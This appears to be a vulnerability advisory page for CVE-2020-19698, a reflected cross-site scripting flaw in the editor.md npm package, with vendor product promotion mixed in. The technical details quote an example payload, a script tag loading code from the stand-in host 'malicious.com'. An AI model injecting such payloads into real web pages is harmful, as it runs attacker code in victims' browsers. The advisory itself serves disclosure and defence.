Quick answers
- Is CVE-2020-19698 exploited in the wild?
- No. Junglewise Threat Intelligence has no report of CVE-2020-19698 being exploited in the wild.
- How severe is CVE-2020-19698?
- Low severity, with a CVSS score of 3.1, published 4 April 2023.
- Which products and versions are affected?
- editor.md (npm) SEMVER:introduced=0,last_affected=1.5.0.
- Is there a fix for CVE-2020-19698?
- A patch was published on 2020-09-22: Security fix proposed via pull request #860 Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
- How is CVE-2020-19698 attacked?
- It is attacked over the network, in a software library.
- Am I affected by CVE-2020-19698?
- Check whether you run editor.md (npm) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.
Technical details
This is a reflected cross-site scripting (CWE-79) vulnerability in Pandao Editor.md where user-supplied input to the editor parameter is not properly sanitized before being rendered in the browser. The vulnerable component fails to escape or filter HTML script tags, allowing attackers to inject <script> elements with external src attributes. An attacker can craft a URL or input containing <script src="https://malicious.com/script.js"></script> and chain it with template injection (e.g., AngularJS expressions) to achieve arbitrary JavaScript execution. The attack requires only a network connection and no authentication or user interaction beyond viewing the malicious editor content. A patch is available via pull request #860 in the official repository.
Affected products
- Pandao Editor.md 0 through 1.5.0
Identifiers
- CVE-2020-19698
- GHSA-5p84-mmh9-pxgr
Timeline
- 2019-07-02: disclosed: Vulnerability initially reported on GitHub issue #700
- 2020-09-22: patched: Security fix proposed via pull request #860
- 2023-04-04: advisory: GHSA advisory published